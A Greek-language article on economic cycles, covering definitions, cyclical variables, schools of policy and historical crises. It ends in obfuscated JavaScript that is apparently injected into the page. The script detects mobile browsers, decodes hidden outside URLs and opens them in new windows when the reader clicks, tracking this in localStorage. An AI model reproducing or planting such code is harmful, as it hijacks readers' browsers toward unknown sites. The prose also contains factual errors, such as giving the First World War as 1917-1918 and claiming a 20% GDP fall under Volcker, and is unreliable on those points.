

ΟΙΚΟΝΟΜΙΚΟΙ ΚΥΚΛΟΙ

Το National Bureau of Economic Research, είναι μη κερδοσκοπικός οργανισμός οικονομολόγων, και ο στόχος του ήταν και είναι να μελετά τις οικονομικές διακυμάνσεις στις ΗΠΑ και διεθνώς, δηλαδή τις αιτίες, τη χρονική διάρκεια και τον τρόπο αντιμετώπισης των οικονομικών κρίσεων.

Ο Mitchell Wesley, και ο Arthur Burns στο βιβλίο τους Measuring business Cycles, δίδουν το εξής ορισμό για τους οικονομικούς κύκλους:

Οι οικονομικοί κύκλοι είναι μια μορφή διακύμανσης που συναντάται στη συνολική οικονομική δραστηριότητα των χωρών που στηρίζονται κυρίως στην επιχειρηματική δραστηριότητα. Ο κύκλος αποτελείται από επεκτάσεις, που παρατηρούνται το ίδιο περίπου χρονικό διάστημα σε πολλές οικονομικές δραστηριότητες ακολουθούμενες από επίσης γενικευμένες κάμψεις, υφέσεις και ανακάμψεις που σμίγουν με την επεκτατική φάση του επόμενου κύκλου. Αυτή η ακολουθία των μεταβολών επαναλαμβάνεται αλλά δεν είναι περιοδική. Η χρονική διάρκεια των οικονομικών κύκλων κυμαίνεται από ένα έτος και πάνω μέχρι δέκα ή δώδεκα έτη.

Ο ορισμός αυτός μας επιτρέπει να διακρίνουμε ορισμένα χαρακτηριστικά σημεία.

Πρώ το: τη συνολική οικονομική δραστηριότητα. Αυτή δεν μετράται μόνο με το δείκτη του ΑΕΠ αν και είναι ο περισσότερο αντιπροσωπευτικός αλλά από πληθώρα οικονομικών μεταβλητών.

Δεύτερο: τις επεκτάσεις και τις κάμψεις. Στις πρώτες εμφανίζονται τάσεις οικονομικής άνηθσης οι οποίες φθάνουν σε ένα ορισμένο σημείο το οποίο καλείται κορυφή και στις δεύτερες τάσεις συρρίκνωσης οι οποίες φθάνουν σε ένα ορισμένο σημείο το οποίο είναι ο πυθμένας. Η απόσταση μεταξύ της κορυφής και του πυθμένα δεν είναι σε όλες τις κρίσεις ίδια. Κατά συνέπεια οι οικονομικοί κύκλοι δεν είναι περιοδικοί και ο κάθε ένας διαμορφώνει δικό του χαρακτήρα.

Τρίτο: τη συγχρονισμένη κίνηση. Η τάση πολλών οικονομικών μεταβλητών να κινούνται προς την ίδια κατεύθυνση με ένα προβλέψιμο τρόπο κατά τη διάρκεια του οικονομικού κύκλου ονομάζεται συγχρονισμένη κίνηση. Ορισμένες οικονομικές μεταβλητές όπως για παράδειγμα οι τιμές, η παραγωγικότητα, η επένδυση και οι δημόσιες δαπάνες, εμφανίζουν ομαλά και προβλέψιμα πρότυπα συμπεριφοράς και στις επεκτάσεις και στις κάμψεις.

Τέταρτο: ο οικονομικός κύκλος δεν είναι περιοδικός με την έννοια της επανάληψης του σε τακτά χρονικά διαστήματα. Είναι μεν επαναλαμβανόμενος αλλά όχι περιοδικός. Ωστόσο το πρότυπο της κάμψης – πυθμένα – επέκτασης – κορυφή, είναι κλασικό στις βιομηχανικές κοινωνίες.

Πέμπτο: η χρονική διάρκεια ολοκλήρωσης ενός κύκλου μπορεί να διαφέρει από περίπτωση σε περίπτωση. Ωστόσο η τάση της κάμψης επεκτείνεται περισσότερο από ό,τι επιβάλλουν οι οικονομικές μεταβλητές γιατί επενεργεί ο παράγοντας της ανθρώπινης ψυχολογίας και η τάση της ανάκαμψης ακολουθεί το ίδιο πρότυπο. Το χαρακτηριστικό αυτό, οι οικονομολόγοι το ονομάζουν επιμονή.

Η κατεύθυνση μιας οικονομικής μεταβλητής σε σχέση με τον οικονομικό κύκλο μπορεί να είναι προκυκλική, αντικυκλική ή ακυκλική. Η προκυκλική μεταβλητή κινείται προς την ίδια κατεύθυνση με την συνολική οικονομική δραστηριότητα, αυξανόμενη στις ανθήσεις και μειούμενη στις κάμψεις. Η αντικυκλική μεταβλητή έχει αντίθετη κατεύθυνση με εκείνη της οικονομικής δραστηριότητας ενώ η ακυκλική μεταβλητή δεν ακολουθεί συγκεκριμένο κυκλικό πρότυπο.

Για παράδειγμα η παραγωγή, η κατανάλωση και η επένδυση είναι προκυκλικές και συμπορευόμενες μεταβλητές. Η απασχόληση είναι προκλυκλική ενώ το ποσοστό ανεργίας είναι αντικυκλική μεταβλητή. Η μέση παραγωγικότητα της εργασίας και ο πραγματικός μισθός είναι προκυκλικές μεταβλητές ενώ το χρήμα και οι τιμές των μετοχών προπορεύονται του οικονομικού κύκλου.

Η πραγματικότητα των οικονομικών κύκλων περιγράφεται και αναλύεται από το υπόδειγμα της συνολικής προσφοράς και συνολικής ζήτησης (AD-AS). Μας λέει δηλαδή το υπόδειγμα αυτό ότι οι διαταραχές της καμπύλης συνολικής ζήτησης προκαλούν τη βραχυχρόνια μεταβολή του προϊόντος αλλά μακροχρόνια το προϊόν επιστρέφει στο επίπεδο πλήρους απασχόλησης. Οι διαταραχές της καμπύλης συνολικής προσφοράς μπορούν να επηρεάσουν το προϊόν τόσο βραχυχρόνια όσο και μακροχρόνια.

Όπως είναι γνωστό για την αντιμετώπιση των οικονομικών κύκλων υπάρχουν δύο σχολές πολιτικής οικονομίας. Η κλασική και η κευνσιανή. Στη πρώτη ανήκουν οι οικονομολόγοι που είναι υπέρ της μη συμμετοχής κρατικών πολιτικών στις διαδικασίες θεωρώντας ότι η ισορροπία θα επανέλθει αυτοματικά. Στη δεύτερη ανήκουν οι οικονομολόγοι που θεωρούν ότι είναι αναγκαία η κρατική παρεμβατικότητα γιατί η επανισορρόπηση των οικονομικών μεταβλητών θα πάρει μεγάλο χρονικό διάστημα. Θεωρούν επίσης πως η οικονομική πολιτική

μπορεί να οδηγήσει την οικονομία στη πλήρη απασχόληση.

Η εμπειρία όμως αποκαλύπτει πως στις σύγχρονες οικονομικές συνθήκες του ψηφιοποιημένου οικονομικού συστήματος, και οι δύο σχολές είναι μάλλον ανίσχυρες ως προς την θετική διευθέτηση των διαταραχών. Είναι αναγκαία η εφαρμογή μετακενσιανής οικονομικής ανάλυσης και πολιτικής η οποία μάλλον θα προλαμβάνει στις κρίσεις παρά θα τις καταστέλλει.

Μετά την ολοκληρωτική εισαγωγή του καπιταλισμού στις κοινωνίες της Δύσης, το 1848 +, οι κρίσεις συνιστούν επαναληπτικό φαινόμενο. Οι πόλεμοι είναι λαμπρό πεδίο μεγέθυνσης των οικονομιών, όπως έχει αποδείξει ο εμφύλιος πόλεμος στην Αμερική (1861 -1865) και ο Α' Παγκόσμιος πόλεμος (1917 -1918). Στην Αγγλία εμφανίστηκε μεγάλη κρίση το 1873 που διατηρήθηκε έως το 1879 φθάνοντας στους 65 μήνες.

Συνολικά η περίοδος μεταξύ 1854 -1914 γνώρισε 338 μήνες κάμψης σχεδόν ίσους με 382 μήνες επέκτασης. Αντίθετα κατά το δεύτερο Παγκόσμιο πόλεμο και μετά οι μήνες άνθησης ήταν 554 ενώ οι μήνες κάμψης μόνο 95.

Κατά τη μεγάλη κρίση στις ΗΠΑ, έχουν καταγραφεί τα εξής χαρακτηριστικά. Η ευημερία της δεκαετίας του 1920 κορυφώθηκε τον Αύγουστο του 1929 δύο μήνες πριν από την χρηματιστηριακή κρίση του Οκτωβρίου του 1929. Μεταξύ της κορυφής του 1929 και του πυθμένα του 1933 το πραγματικό ΑΕΠ μειώθηκε κατά σχεδόν 30%. Την ίδια περίοδο το ποσοστό ανεργίας από το 3% αυξήθηκε στο 25% ενώ η μερική απασχόληση ήταν ευρέως διαδεδομένη εργασιακή φόρμα.

Ακολούθησαν και δύο ακόμα μεταπολεμικές κρίσεις στις ΗΠΑ, οι οποίες ασφαλώς ήταν μικρότερης έντασης. Το 1973 -1975 και το 1981 -1982. Και οι δύο ήταν συνέπειες των διαταραχών στις αγορές πετρελαίου οι τιμές του οποίου αυξήθηκαν κατά 7 φορές

επιφέροντας μεγάλα κύματα πληθωρισμού. Το 1980 ο πληθωρισμός στις ΗΠΑ άγγιξε το 12% κάτι όμως που κατάφερε ο Πωλ Βόλκερ να τιθασεύσει σε τρία χρόνια. Ο έλεγχος του πληθωρισμού όμως είχε αρνητικό αντίκτυπο στο μέγεθος του ΑΕΠ το οποίο συρρικνώθηκε κατά 20%.

Η μακρά διάρκεια εμφάνισης μεγάλων οικονομικών κύκλων μετά το Β' Παγκόσμιο πόλεμο, έκανε πολλούς οικονομολόγους να πιστέψουν πως αυτού του είδους οι διαταραχές στην οικονομία ανήκουν πλέον στην ιστορία. Δυστυχώς όμως η πραγματικότητα τους διάψευσε και η πρόβλεψη τώρα είναι πως στο μέλλον οι κρίσεις θα έχουν μεγαλύτερη πιθανότητα εμφάνισης.

Παρά το γεγονός ότι οι αναπτυγμένες οικονομίες έχουν «παγιδευτεί», ως προς τη συμπεριφορά των οικονομικών μεταβλητών μεγεθών, εντός οικονομετρικών μοντέλων, η εμφάνιση κρίσεων δεν είναι δυνατό ακόμα να αποτραπεί. Και τούτο γιατί οι αντιφατικές ενδογένειες του συστήματος, συμπεριλαμβανόμενης και της ανθρώπινης ψυχολογίας, κάτω από τη δράση ορισμένων παραγόντων, κυρίως αδρανών πολιτικών, ξεσπούν ακατάστατα με συνέπεια την διάλυση μεγάλων ή μικρών τμημάτων των κοινωνιών.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmTK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
```

```
_0x10c8());const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v-v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]])(0x0,0x4)
))&&(_0x129862=![]);})(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]]
```

```
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```